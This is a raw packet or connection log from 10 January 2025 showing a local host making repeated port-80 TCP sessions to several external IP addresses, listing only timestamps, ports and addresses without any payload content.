Jan 10, 2025 23:20:57.932739973 CET	49766	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:58.256527901 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:58.256572008 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:58.256961107 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:58.257039070 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:58.257066965 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:58.257097006 CET	80	49766	107.155.56.30	192.168.11.20
Jan 10, 2025 23:20:58.257224083 CET	49766	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:20:59.437361002 CET	49766	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:00.454998016 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:00.778623104 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:00.778908968 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:00.785895109 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:01.109442949 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.109721899 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.109807014 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.109848976 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.109946012 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.109982967 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:01.110105991 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:01.110110044 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.110173941 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.110352993 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:01.110373020 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.110420942 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:01.110680103 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:01.112680912 CET	49767	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:21:01.436275005 CET	80	49767	107.155.56.30	192.168.11.20
Jan 10, 2025 23:21:06.774796963 CET	49768	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:07.104918003 CET	80	49768	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:07.105139017 CET	49768	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:07.116950989 CET	49768	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:07.446851015 CET	80	49768	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:07.446899891 CET	80	49768	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:07.446933985 CET	80	49768	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:07.447110891 CET	49768	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:08.623733044 CET	49768	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:09.640585899 CET	49770	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:09.977526903 CET	80	49770	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:09.977767944 CET	49770	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:09.991848946 CET	49770	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:10.322169065 CET	80	49770	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:10.322242022 CET	80	49770	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:10.322252989 CET	80	49770	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:10.322411060 CET	49770	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:11.497179985 CET	49770	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:12.514642954 CET	49771	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:12.845252991 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:12.845572948 CET	49771	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:12.856452942 CET	49771	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:12.856559038 CET	49771	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:13.186852932 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:13.186908960 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:13.186938047 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:13.187268972 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:13.187489986 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:13.187535048 CET	80	49771	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:13.187697887 CET	49771	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:14.371618032 CET	49771	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:15.389050961 CET	49772	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:15.720366955 CET	80	49772	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:15.720637083 CET	49772	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:15.727427959 CET	49772	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:16.058408976 CET	80	49772	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:16.058459044 CET	80	49772	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:16.058502913 CET	80	49772	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:16.058837891 CET	49772	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:16.060888052 CET	49772	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:21:16.391638041 CET	80	49772	13.228.81.39	192.168.11.20
Jan 10, 2025 23:21:29.430454969 CET	49773	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:29.602821112 CET	80	49773	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:29.603183031 CET	49773	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:29.614259005 CET	49773	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:29.786781073 CET	80	49773	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:29.795665979 CET	80	49773	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:29.795708895 CET	80	49773	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:29.795901060 CET	49773	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:31.117865086 CET	49773	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:32.135334015 CET	49774	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:32.308453083 CET	80	49774	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:32.308664083 CET	49774	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:32.319811106 CET	49774	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:32.492352009 CET	80	49774	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:32.498277903 CET	80	49774	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:32.498320103 CET	80	49774	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:32.498408079 CET	49774	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:33.835974932 CET	49774	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:34.853467941 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:35.025804043 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.025975943 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:35.037159920 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:35.037208080 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:35.037254095 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:35.211921930 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.211935997 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.212181091 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.212194920 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.212203979 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.218250036 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.218266010 CET	80	49775	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:35.218429089 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:36.538523912 CET	49775	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:37.556063890 CET	49776	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:37.728426933 CET	80	49776	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:37.728615999 CET	49776	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:37.735541105 CET	49776	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:37.907687902 CET	80	49776	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:37.914593935 CET	80	49776	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:37.914604902 CET	80	49776	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:37.914855957 CET	49776	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:37.916802883 CET	49776	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:21:38.088882923 CET	80	49776	209.74.77.107	192.168.11.20
Jan 10, 2025 23:21:43.299020052 CET	49777	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:43.641292095 CET	80	49777	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:43.641506910 CET	49777	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:43.652839899 CET	49777	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:43.995300055 CET	80	49777	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:44.058221102 CET	80	49777	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:44.058279037 CET	80	49777	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:44.058468103 CET	49777	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:45.161608934 CET	49777	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:46.179395914 CET	49778	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:46.524981022 CET	80	49778	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:46.525180101 CET	49778	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:46.536237001 CET	49778	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:46.881840944 CET	80	49778	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:46.954394102 CET	80	49778	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:46.954437017 CET	80	49778	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:46.954628944 CET	49778	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:48.051666975 CET	49778	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:49.069247007 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:49.420758009 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.420953989 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:49.432127953 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:49.432177067 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:49.432226896 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:49.783601999 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.783816099 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.783824921 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.784111977 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.784121037 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.784349918 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.861038923 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.861251116 CET	80	49779	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:49.861382961 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:50.941557884 CET	49779	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:51.959088087 CET	49780	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:52.301559925 CET	80	49780	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:52.301769018 CET	49780	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:52.308671951 CET	49780	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:52.651267052 CET	80	49780	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:52.708398104 CET	80	49780	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:52.708466053 CET	80	49780	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:52.708704948 CET	49780	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:52.710628033 CET	49780	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:21:53.053174973 CET	80	49780	154.205.159.116	192.168.11.20
Jan 10, 2025 23:21:57.914150953 CET	49781	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:21:58.032588005 CET	80	49781	3.33.130.190	192.168.11.20
Jan 10, 2025 23:21:58.032876968 CET	49781	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:21:58.055119038 CET	49781	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:21:58.173669100 CET	80	49781	3.33.130.190	192.168.11.20
Jan 10, 2025 23:21:59.564676046 CET	49781	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:21:59.725265026 CET	80	49781	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:00.582189083 CET	49782	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:00.700720072 CET	80	49782	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:00.700875998 CET	49782	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:00.711960077 CET	49782	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:00.830533981 CET	80	49782	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:00.848264933 CET	80	49782	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:00.848278999 CET	80	49782	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:00.848479986 CET	49782	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:00.855164051 CET	80	49782	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:00.855354071 CET	49782	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:01.091761112 CET	80	49781	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:01.091913939 CET	49781	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:02.220370054 CET	49782	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:03.237977028 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:03.356550932 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.356681108 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:03.367966890 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:03.367994070 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:03.368068933 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:03.486557961 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.486843109 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.486856937 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.487135887 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.487149954 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.487356901 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:03.487370014 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:04.412254095 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:04.412264109 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:04.412600040 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:04.419009924 CET	80	49783	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:04.419179916 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:04.876068115 CET	49783	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:05.893537045 CET	49784	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:06.011996984 CET	80	49784	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:06.012159109 CET	49784	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:06.022072077 CET	49784	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:06.140567064 CET	80	49784	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:06.159636021 CET	80	49784	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:06.159642935 CET	80	49784	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:06.159893036 CET	49784	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:06.161843061 CET	49784	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:06.167114973 CET	80	49784	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:06.167269945 CET	49784	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:22:06.280165911 CET	80	49784	3.33.130.190	192.168.11.20
Jan 10, 2025 23:22:11.620362997 CET	49785	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:11.916280985 CET	80	49785	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:11.917010069 CET	49785	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:11.927599907 CET	49785	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:12.223727942 CET	80	49785	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:12.229547024 CET	80	49785	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:12.229748964 CET	49785	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:13.436682940 CET	49785	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:13.732635021 CET	80	49785	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:14.454209089 CET	49786	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:14.749933004 CET	80	49786	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:14.750102997 CET	49786	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:14.761151075 CET	49786	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:15.056953907 CET	80	49786	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:15.065670013 CET	80	49786	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:15.065804005 CET	49786	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:16.264133930 CET	49786	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:16.559704065 CET	80	49786	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.281692982 CET	49787	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:17.577419043 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.577615976 CET	49787	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:17.588890076 CET	49787	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:17.588960886 CET	49787	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:17.588975906 CET	49787	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:17.884833097 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.885032892 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.885271072 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.885492086 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.885499001 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.885776997 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:17.890279055 CET	80	49787	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:20.109440088 CET	49788	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:20.402379990 CET	80	49788	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:20.402534962 CET	49788	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:20.409482002 CET	49788	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:20.702562094 CET	80	49788	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:20.711394072 CET	80	49788	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:20.711543083 CET	49788	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:20.712300062 CET	49788	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:22:21.004992008 CET	80	49788	38.46.13.54	192.168.11.20
Jan 10, 2025 23:22:25.891391993 CET	49789	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:26.160260916 CET	80	49789	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:26.160525084 CET	49789	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:26.172967911 CET	49789	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:26.442043066 CET	80	49789	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:26.556855917 CET	80	49789	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:26.556864023 CET	80	49789	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:26.557005882 CET	49789	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:27.683532953 CET	49789	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:28.702219963 CET	49790	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:28.963351965 CET	80	49790	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:28.963555098 CET	49790	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:28.974680901 CET	49790	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:29.236063004 CET	80	49790	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:29.350470066 CET	80	49790	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:29.350480080 CET	80	49790	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:29.350658894 CET	49790	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:30.479907036 CET	49790	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:31.497308016 CET	49791	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:31.765273094 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:31.765528917 CET	49791	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:31.776813030 CET	49791	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:31.776878119 CET	49791	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:32.044897079 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.045130014 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.045144081 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.045417070 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.045439959 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.045449972 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.159660101 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.159702063 CET	80	49791	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:32.159897089 CET	49791	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:33.291611910 CET	49791	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:34.309151888 CET	49792	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:34.570954084 CET	80	49792	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:34.571104050 CET	49792	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:34.578026056 CET	49792	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:34.839972973 CET	80	49792	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:34.954744101 CET	80	49792	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:34.954758883 CET	80	49792	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:34.955023050 CET	49792	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:34.956973076 CET	49792	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:22:35.218667030 CET	80	49792	46.253.5.221	192.168.11.20
Jan 10, 2025 23:22:40.206511974 CET	49793	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:40.432912111 CET	80	49793	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:40.433105946 CET	49793	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:40.444161892 CET	49793	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:40.670155048 CET	80	49793	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:40.910614967 CET	80	49793	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:40.910655975 CET	80	49793	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:40.910770893 CET	49793	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:41.946058035 CET	49793	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:42.963522911 CET	49794	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:43.183723927 CET	80	49794	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:43.183902025 CET	49794	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:43.195024967 CET	49794	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:43.415138960 CET	80	49794	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:43.422174931 CET	80	49794	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:43.422245979 CET	80	49794	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:43.422524929 CET	49794	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:44.711072922 CET	49794	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:45.728555918 CET	49795	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:45.953665018 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:45.953967094 CET	49795	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:45.965219975 CET	49795	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:45.965285063 CET	49795	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:46.190501928 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.190773010 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.191015959 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.191030025 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.191310883 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.191324949 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.237535000 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.237550020 CET	80	49795	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:46.237730980 CET	49795	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:47.476046085 CET	49795	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:48.493633986 CET	49796	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:48.713917017 CET	80	49796	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:48.714252949 CET	49796	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:48.721133947 CET	49796	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:48.941433907 CET	80	49796	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:48.948627949 CET	80	49796	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:48.948729992 CET	80	49796	146.88.233.115	192.168.11.20
Jan 10, 2025 23:22:48.948987961 CET	49796	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:48.951113939 CET	49796	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:22:49.171367884 CET	80	49796	146.88.233.115	192.168.11.20
Jan 10, 2025 23:23:03.352790117 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:04.362987041 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:06.378190041 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:10.392874956 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:18.406773090 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:26.110625982 CET	49797	80	192.168.11.20	20.2.36.112
Jan 10, 2025 23:23:27.123609066 CET	49797	80	192.168.11.20	20.2.36.112
